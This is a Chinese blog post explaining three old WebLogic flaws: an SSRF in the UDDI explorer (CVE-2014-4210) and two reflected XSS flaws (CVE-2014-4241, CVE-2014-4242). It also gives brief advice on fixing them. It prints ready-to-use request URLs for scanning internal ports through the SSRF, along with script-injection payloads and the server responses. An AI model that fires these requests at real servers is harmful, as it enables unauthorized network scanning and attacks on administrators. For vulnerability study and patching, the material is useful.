weblogic中ssrf漏洞修复_WebLogic SSRF 及漏洞修复

本文详细介绍了WebLogic服务器中的SSRF漏洞,包括CVE-2014-4210和CVE-2014-4241、CVE-2014-4242,讲解了如何利用这些漏洞进行端口扫描和跨站脚本攻击。同时,文章提供了解决这些问题的修复建议,如关闭不必要的UDDI功能或修改相关JSP文件。
摘要由CSDN通过智能技术生成

SSRF漏洞,也称为XSPA(跨站端口攻击),问题存在于应用程序在加载用户提供的URL时,没能正确验证服务器的响应,然后就反馈回了客户端。攻击者可以利用该漏洞绕过访问限制(如防火墙),进而将受感染的服务器作为代理进行端口扫描,甚至访问系统中的数据。

CVE-2014-4210, Server Side Request Forgery in SerachPublicRegistries.jsp 版本10.0.2,10.3.6

Oracle WebLogic web server即可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口。

下面是一个没有服务监听TCP 23端口的例子:

https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?

operator=http://10.0.0.4:23&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&

selfor=Business+location&btnSubmit=Search

响应的片断如下:

weblogic.uddi.client.structures.exception.XML_SoapException: Connection refused

下面是一个有服务监听TCP 23端口的例子:

https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?

operator=http://10.0.0.4:22&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&

selfor=Business+location&btnSubmit=Search

响应片断如下:

weblogic.uddi.client.structures.exception.XML_SoapException:

Received a response from url: http://10.0.0.4:22 which did not have a valid SOAP content-type: unknown/unknown.

可以利用这种功能来发现主机或对主机进行端口扫描。

CVE-2014-4241,Reflected Cross Site Scripting in SetupUDDIExploer.jsp 版本:10.0.2,10.3.6

用户输入映射到一个cookie值(有效期为1年!),这个值会以不安全的方式写入到之后的响应里,暴露给用户进行跨站脚本攻击。

恶意的URL:

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?

privateregistry=&setPrivateRegistryInquiry=Set+Search+URL 响应会为cookier变量的privateregistry设值,并把浏览器重定向到SetupUDDIExplorer.jsp页面。

HTTP/1.1 302 Moved Temporarily

Location: https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp

Set-Cookie: privateinquiryurls=; expires=Saturday, 29-Nov-2014 08:00:27 GMT

Content-Length: 331

Content-Type: text/html;charset=UTF-8 重定向的请求为:

GET /uddiexplorer/SetupUDDIExplorer.jsp HTTP/1.1

Host: [vulnerablehost]

Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|

http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|

http://uddi.rte.microsoft.com/inquire!Microsoft|

http://services.xmethods.net/glue/inquire/uddi!XMethods|;

privateinquiryurls=;

privatepublishurls=http://[vulnerablehost]:8080/uddi/uddilistener;

consumer_display=HOME_VERSION%3d1%26FORGOT_BUTTON_ROLE%3d73;

cookie_check=yes; LANG=en_US%3BUS; navlns=0.0; 那么响应的片断为(响应中包含了cookie值:privateinquiryurls):

Private Registry:

Search URL:

Publish URL: http://[vulnerablehost]:8080/uddi/uddilistener

这类URL的例子:

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?

privateregistry=&setPrivateRegistryInquiry=Set+Search+URL

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?

privateregistry=&setPrivateRegistryPublish=Set+Publish+URL

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?

publicregistryname=test&publicregistryurl=&addPublicRegistry=Add+Public+Registry+URL

CVE-2014-4242,Reflected Cross Site Scriping in consolejndi.portal 版本:10.0.2,10.3.6,12.1.1,12.1.2.0.0

控制台应用试图去管理Weblogic 应用服务器,正常是不被暴露的,它的攻击目标是管理员。

这一类URL的例子1:

http://[vulnerablehost]:7001/console/consolejndi.portal?

_pageLabel=JNDIContextPageGeneral&_nfpb=true&JNDIContextPortlethandle=

com.bea.console.handles.JndiContextHandle("")

响应片断:

Listing of entries found in context :

这一类URL2的例子:

http://[vulnerablehost]:7001/console/consolejndi.portal?

_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');alert(1)//

响应片断:

document.write('

');

setBaseDirectory('/console/utils/JStree/images/');

setTaxonomyDelimeter('.');

{

_a = new TreeNode('server', null, 'myserver\u0027);

alert(4)//', '/console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');

alert(1)//', 'images/spacer.gif', 'images/spacer.gif', null, 'myserver\u0027);alert(4)//', false, false);

修复建议:

1.如果业务不需要UDDI功能,就关闭这个功能。可以删除uddiexporer文件夹,可以可在/weblogicPath/server/lib/uddiexplorer.war解压后,注释掉上面的jsp再打包。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值